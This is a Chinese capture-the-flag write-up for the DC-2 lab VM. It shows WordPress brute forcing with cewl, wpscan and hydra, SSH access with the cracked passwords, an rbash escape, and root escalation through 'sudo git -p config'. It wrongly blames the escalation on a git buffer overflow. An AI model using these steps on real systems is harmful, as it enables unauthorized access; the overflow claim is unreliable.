DC-2靶场

news2024/11/13 8:50:47

DC-2 下载地址:DC and Five86 Series Challenges - Downloads​编辑https://www.five86.com/downloads.html

 DC-2环境配置:解压后在vm虚拟机点击左上方文件-->打开-->选择解压后的DC-2。把kali和DC-2的网路适配器都改成NAT模式

flag1

首先进行主机发现:

arp-scan -l

得知靶机ip为192.168.183.145

Nmap扫描:

nmap -A -p-  192.168.183.145

显示有80端口和7744端口,ssh服务开启

PORT     STATE SERVICE VERSION

80/tcp   open  http    Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-generator: WordPress 4.7.10

|_http-title: DC-2 – Just another WordPress site

7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

| ssh-hostkey:

|   1024 52517b6e70a4337ad24be10b5a0f9ed7 (DSA)

|   2048 5911d8af38518f41a744b32803809942 (RSA)

|   256 df181d7426cec14f6f2fc12654315191 (ECDSA)

|_  256 d9385f997c0d647e1d46f6e97cc63717 (ED25519)

直接访问ip,却在访问的时候网站自动跳转dc-2,查看别人wp得知域名解析错误,需要修改host文件

windows下的hosts文件的路径是:

c:\windows\system32\drivers\etc\hosts

Linux下的hosts文件的路径是:

/etc/hosts

修改host文件:

sudo vim /etc/hosts

在里面127.0.0.1的下方增加

192.168.183.145  dc-2

成功访问80端口后得到第一个flag和提示,中文意思大概是“你平常的字典大概率不能成功,你可能需要cewl”。cewl是kali自带的一个工具,用于生成自定义字典的工具。它通过扫描目标网站或文本文件中的内容,并分析其中的单词和短语来生成字典列表,这些单词和短语可以包括用户名、电子邮件地址、电话号码以及其他与目标有关的信息。

flag2:

这里我们只需要:

先touch 文件名,在当前目录下装一个文件来放字典

touch passwd.txt

然后爬取字典

cewl http://dc-2 -w passwd.txt  #通过网页从指定的URL提取词汇,并将结果保存到当前目录下名为 "passwd.txt" 的文件中。

一些cewl的相关语法:

cewl 工具的常用参数:
  • -w <output-file>:指定输出字典文件的路径和名称。
  • -d <depth>:指定爬取页面的深度,即从目标网站开始向下爬取的层数。
  • -m <min-word-length>:设置生成字典中单词的最小长度。
  • -i:忽略重复的单词,避免在字典中生成重复的条目。
  • -a:将结果保存为用户名和密码对的形式,用于密码破解。
  • -e:将结果作为邮箱地址保存,用于社会工程学攻击。
增加爬取深度

如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:

cewl http://www.ignitetechnologies.in/ -d 3

提取调试信息

你可以使用--debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:

cewl http://www.ignitetechnologies.in/ --debug

生成包含数字和字符的字典

如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:

cewl http://testphp.vulnweb.com/ --with-numbers

从插件或者观察我们能得出这个网站是WordPress,一个以PHP和MySQL开发的网站,针对这个框架我们直接使用wpscan进行扫描,该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

wpscan常用参数
–update 更新到最新版本
–url | -u 要扫描的WordPress站点.
–force | -f 不检查网站运行的是不是WordPress
–enumerate | -e [option(s)] 枚举

wpscan扫描

1、扫描WordPress漏洞、版本、ip等信息
wpscan --url http://www.xxxxx.top/
2、扫描枚举wordpress用户
wpscan --url http://www.xxxxx.top/ --enumerate u
3、扫描主题
wpscan --url http://www.xxxxx.top/ --enumerate t
4、扫描插件漏洞
wpscan --urlhttp://www.xxxxx.top/ --enumerate p
5、使用WPScan进行暴力破解在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:
wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt
6、暴力破解用户密码
wpscan --url dc-2 user.txt -P passwd.txt
7、wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force
  • --ignore-main-redirect:该参数可用于忽略网站中可能存在的主要的页面重定向,以确保扫描结果的准确性。

  • --url:该参数用于指定要扫描的 WordPress 网站的 URL 地址。在本例中,扫描的目标是位于本地网络中的地址为 "192.168.1.8" 的 WordPress 网站。

  • --enumerate u:该参数用于枚举所有的 WordPress 用户,以便查看是否存在弱密码或其他安全风险。

  • --force:该参数用于在可能存在风险的情况下,仍然尝试对目标进行攻击和渗透测试。

本靶场爆破密码:

wpscan --url http://dc-2 --enumerate u

找到三个用户名admin、jerry、tom,将三个用户名写入user.txt中,配合刚刚收集的网站字典passwd.txt,配合wpscan再次爆破用户密码:

wpscan --url dc-2 user.txt -P passwd.txt

得到jerry用户密码为:adipiscing,tom用户密码为:parturient

这里也可以用hydra爆破:

hydra基本参数:

-R 根据上一次进度继续破解

-S 使用SSL协议连接

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

 -p 指定密码破解

 -P 指定密码字典(文件)

 -e 空密码探测和指定用户密码探测(ns)

 -C 用户名可以用:分割(username:password)可以代替-l username -p password

 -o 输出文件

-t 指定多线程数量,默认为16个线程

-vV 增加输出的详细程度和详细信息

Payload:

hydra -L user.txt -P pwd.dic ssh://192.168.1.104 -s 7744 -vV

-v 参数是 verbose(冗长模式)的缩写,它会提供更多的输出信息以显示 Hydra 的执行过程。通常,使用 -v 参数会显示更多的进度和状态信息,使用户能够更好地了解 Hydra 正在进行的操作。

访问WordPress默认登录界面 /wp-login.php,登录jerry的时候发现flag2

flag3:

到这里网页上的就没什么好挖掘的了,想到我们扫出来的7744端口,可以尝试进行远程登录jerry账号连接显示权限限制,继续尝试tom:

ssh tom@192.168.183.145 -p 7744

输入密码登录tom

ls发现flag3.txt但是cat之后发现反回-rbash: cat: command not found

这里有两种方法读取文件,一种是vi读取,一种是rbash逃逸。rbash 是 Restricted Bash 的缩写,是一种受限的 shell 环境。当bash以rbash这个名字启动,或者是通过-r选项调用时,那么这个shell就会受限 受限shell(以下统称为rbash)和bash相同,但以下情况是不允许rbash执行的:

  1. 使用命令cd更改目录
  2. 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  3. 指定包含参数'/'的文件名
  4. 指定包含参数' - '的文件名
  5. 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'

大致的限制如上,具体rbash解释参考文章:https://cloud.tencent.com/developer/article/1680551

本靶场中方法一:

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a  //切换shell

$ export PATH=$PATH:/bin/       //添加$PATH,cat和su都在/bin下

$ export PATH=$PATH:/usr/bin    //sudo在/usr/bin下

$ cat flag3.txt

方法二:

ls发现usr,查看这个usr下的bin文件,发现vi可用,因此直接

vi flag3.txt

得到flag3,同时这里提示了要切换用户jerry

flag4:

切换用户:

su jerry

ls查目录发现flag4,也捕捉到关键词git,猜测需要git提权获得root权限

$ cat flag4.txt

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

flag5:

使用fing命令查看具有root权限的suid文件:

find / -user root -perm -4000 -print 2>/dev/null

发现有/usr/bin/sudo,可以用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help或者sudo git help config时,不需要输入root密码即可以root权限执行这条命令。

1、sudo git -p config
#在末行命令交互模式输入 !/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p help 
#输入!/bin/bash,即可打开一个用户为root的shell

具体过程:

jerry@DC-2:~$ sudo git -p config

usage: git config [options]

Config file location

    --global              use global config file

    --system              use system config file

    --local               use repository config file

    -f, --file <file>     use given config file

    --blob <blob-id>      read config from given blob object

Action

    --get                 get value: name [value-regex]

    --get-all             get all values: key [value-regex]

    --get-regexp          get values for regexp: name-regex [value-regex]

    --get-urlmatch        get value specific for the URL: section[.var] URL

    --replace-all         replace all matching variables: name value [value_regex]

    --add                 add a new variable: name value

    --unset               remove a variable: name [value-regex]

    --unset-all           remove all matches: name [value-regex]

    --rename-section      rename section: old-name new-name

    --remove-section      remove a section: name

!/bin/sh

# whoami

Root

发现已经是root权限了,最后一个flag就在/root的目录下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1316981.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue-element-admin如何把mock换成使用真实后台接口

1&#xff09;修改vue.config.js文件 use strict const path require(path) const defaultSettings require(./src/settings.js)function resolve(dir) {return path.join(__dirname, dir) }const name defaultSettings.title || vue Element Admin // page title// If you…

数据结构面试题和题目解析

以下是一些数据结构的面试题和解析&#xff1a; 1. 什么是链表&#xff1f; 链表是一种线性数据结构&#xff0c;由一系列节点组成&#xff0c;每个节点包含数据部分和指向下一个节点的指针。链表的主要优点是插入和删除操作比较方便&#xff0c;但访问链表中的元素不如访问数组…

Windows7下双网卡绑定(双网络冗余)

1.首先需要电脑主机里至少有两张网卡。 2.打开计算机管理&#xff0c;点击左侧的设备管理器&#xff1a; 3.点击展开右侧的 网络适配器&#xff1a; 4.如下是我们即将需要进行绑定的两张网卡&#xff1a; 5.右键点击第一张网卡&#xff0c;选择属性&#xff1a; 6.选择 分组 栏…

Angular中使用Intersection Observer API实现无限滚动

背景&#xff1a; 实现原理为 在data下面加一个loading元素 如果此元素进入视窗 则调用api获取新的数据加到原来的数据里面&#xff0c;这时loading就会被新数据顶下去&#xff0c;如此循环。 <div id"dataContainer"></div> <div id"loadingCo…

linux添加环境变量

一、查看当前环境变量 echo $PATH 二、将工作空间添加到环境变量&#xff0c;vim是编辑器&#xff0c;可以换成别的编辑器&#xff0c;vim编辑器的使用法可以百度一下 vim ~/.bashrc编辑器添加&#xff1a; source ~/scan_ws/devel/setup.bash

【Linux】介绍:进程退出、进程等待、进程程序替换

目录 一、进程退出 _exit函数 exit函数 _exit()与exit比较 return退出 二、进程等待 wait方法 waitpid方法 三、进程程序替换 替换函数 函数解释 命名理解 使用举例 一、进程退出 正常终止&#xff08;可以通过 echo $? 查看进程退出码&#xff09;&#xff1a;1.…

爬虫工作量由小到大的思维转变---<第十一章 Scrapy之sqlalchemy模版和改造(番外)>

前言: 正常的pymysql当然问题不大,但是我个人还是建议:sqlalchemy! 因为他更能让我们把精力放在表单设计上,而不执着于代码本身了. (-----版权所有。未经作者书面同意&#xff0c;不得转载或用于任何商业用途!----) 正文: 先提供一个基础模版: 表图: 创建表的sql: CREA…

【漏洞复现】捷诚管理信息系统 SQL注入漏洞

漏洞描述 捷诚管理信息系统是一款功能全面,可以支持自营、联营到外柜租赁的管理,其自身带工作流管理工具,能够帮助企业有效的开展内部审批工作。 该系统CWSFinanceCommon.asmx接口存在SQL注入漏洞。未经身份认证的攻击者可以通过该漏洞获取数据库敏感信息,深入利用可获取…

JavaScript值类型和引用类型两道经典面试题

JavaScript值类型和引用类型两道经典面试题 题目1题目2 题目1 首先&#xff0c;小试牛刀&#xff0c;请看第一道题。 let a {x: 10 } let b a a.x 20 console.log(b.x)a {x: 30 } console.log(b.x) a.x 40 console.log(b.x);那么上述代码输出结果是多少呢&#xff1f; …

物联网AI 物联网平台学习之概述

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; 万物简单IOT是一个集物联网教育、企业SaaS私有化部署的物联网服务平台&#xff0c;它集成了设备管理、数据安全通信、消息订阅、规则引擎等一系列物联网核心能力&#xff0c;支持设备数据上云以及海量设备数…

<VR串流线方案> PICO 4 Pro VR串流线方案 Oculus Quest2 Link串流线方案

虚拟现实技术(英文名称&#xff1a;Virtual Reality&#xff0c;缩写为VR)&#xff0c;又称虚拟实境或灵境技术&#xff0c;是20世纪发展起来的一项全新的实用技术。虚拟现实技术囊括计算机、电子信息、仿真技术&#xff0c;其基本实现方式是以计算机技术为主&#xff0c;利用并…

UE4 Niagara学习笔记

需要在其他发射器的同一个粒子位置发射其他粒子就用Spawn Particles from other Emitter 把发射器名字填上去即可 这里Move to Nearest Distance Field Subface GPU&#xff0c;可以将生成的Niagara附着到最近的物体上 使用场景就是做的火苗附着到物体上

基于 WebSocket 打造聊天室

一、什么是 WebSocket&#xff1f; WebSocket 是一种基于TCP连接上进行 全双工 通信的协议。WebSocket使得客户端和服务器之间的数据交换变得更加简单&#xff0c;允许服务端主动向客户端推送数据。在WebSocket API中&#xff0c;浏览器和服务器只需要完成一次握手&#xff0c…

翻译: LLM工具使用和代理Tool use and agents

欢迎来到本周的最后一个视频。在这个视频中&#xff0c;我想与您分享LLM&#xff08;大型语言模型&#xff09;开始能够使用工具的情况&#xff0c;以及讨论一下前沿的“代理”主题&#xff0c;这是让LLM自己决定下一步采取什么行动的领域。让我们来看看。在早期的食物订单接收…

centos7安装node-v18版本

背景# 背景就是上一篇文章提到的&#xff0c;部署gitbook这个文档中心的话&#xff0c;是需要先安装node&#xff0c;然后&#xff0c;如果你的node版本过高的话&#xff0c;一般会报错&#xff0c;此时&#xff0c;网上很多文章就是降node版本解决&#xff0c;但其实用高版本…

【️如何理解面向对象和面向过程】

✅如何理解面向对象和面向过程&#xff1f; 典型理解✅扩展知识仓✅面向对象的三大基本特征✅封装✅继承✅多态 ✅为什么Java不支持多继承&#xff1f;✅菱形继承问题✅Java 8 中的多继承 ✅面向对象的五大基本原则&#xff1f; 典型理解 面向过程把问题分解成一个一个步骤&…

buuctf-Misc 题目解答分解85-87

85.[UTCTF2020]file header 下载完就是一个图片 &#xff0c;但是显示图片错误&#xff0c;提示文件头 没有 用010editor 打开 找一个png 文件&#xff0c;看一下它的头部 只需要修改前四个字节为 89 50 4E 47 即可 就能拿到flag utflag{3lit3_h4ck3r} 86.[WUSTCTF2020]gir…

蓝桥杯专题-真题版含答案-【三角螺旋阵】【干支记年法】【异或加密法】【金字塔】

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分…

v851s ssh搭建与使用

ssh 概述: 1. 用来远程登录的一种安全通道协议(常用于linux 、UNIX中); 2. 分为服务端和客户端: 1)服务端即openSSH ,一般属于目标开发板(linux中配置文件路径/etc/ssh/sshd_config); 2)客户端即登录端,常用工具:sercureCRT 、MobaXterm 、Putty等; 1. ssh 服务…

Webrtc 学习交流

花了几周的时间研究了一下webrtc &#xff0c;并开发了一个小项目&#xff0c;用来点对点私密聊天 交流传输文件等…后续会继续扩展其功能。 体验地址&#xff0c;大狗子的ID,我在线时可以连接测试到我 f3e0d6d0-cfd7-44a4-b333-e82c821cd927 项目特点 除了交换信令与stun 没…